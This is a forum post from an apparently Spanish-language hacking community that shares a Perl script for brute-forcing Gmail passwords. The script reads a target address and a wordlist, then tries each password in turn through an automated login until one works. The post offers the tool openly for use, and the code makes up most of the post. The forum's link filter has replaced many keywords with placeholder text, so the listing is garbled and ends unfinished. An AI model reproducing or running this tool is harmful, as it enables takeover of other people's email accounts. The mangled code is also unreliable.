comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Brute GMail [perl]

  • 0 Respuestas
  • 973 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:33:14 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. # c0dex by m0x.lk
  3. # pGmail .-
  4. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("color f0");
  5. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("clear");
  6. No tienes permisos para ver links. Registrate o Entra con tu cuenta ("cls");
  7. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\tc0dex by m0x.lk\n";
  8. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n";
  9. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\t\t BrGmail .- RE & HaSe * darkc0de\n";
  10. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n";
  11. use LWP::UserAgent;
  12. use HTTP::Cookies;
  13. use WWW::Gmail;
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta 1;
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Usuario: \tEj. user@gmail.com";
  16. $usuario=<STDIN>;
  17. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  18. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Diccionario: ";
  19. $dict=<STDIN>;
  20. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n";
  21. $i = 1;
  22. No tienes permisos para ver links. Registrate o Entra con tu cuenta (D,"<$dict") or No tienes permisos para ver links. Registrate o Entra con tu cuenta "Diccionario no encontrado\n";
  23. while(<D>)
  24. {
  25. $try = $_;
  26.     No tienes permisos para ver links. Registrate o Entra con tu cuenta $try;
  27.  
  28. Print "[+]Bruteando...\n";
  29.  
  30.       my $obj = WWW::GMail->new(
  31.             username => "$usuario",
  32.             password => "$try",
  33.             cookies => {
  34.                     autosave => 1,
  35.                     file => "./gmail.cookie",
  36.             },
  37.       );
  38.  
  39.       my $ret = $obj->login();
  40.       if ($ret == -1) {
  41.                 No tienes permisos para ver links. Registrate o Entra con tu cuenta $i++ . ": Fallo - $try\n";
  42.         }
  43.         else {
  44.                 No tienes permisos para ver links. Registrate o Entra con tu cuenta "'$try - $i intentos";
  45.                 last;
  46.  
« Última modificación: Marzo 14, 2015, 09:46:02 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3238
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1515
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1667
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1170
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1308
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear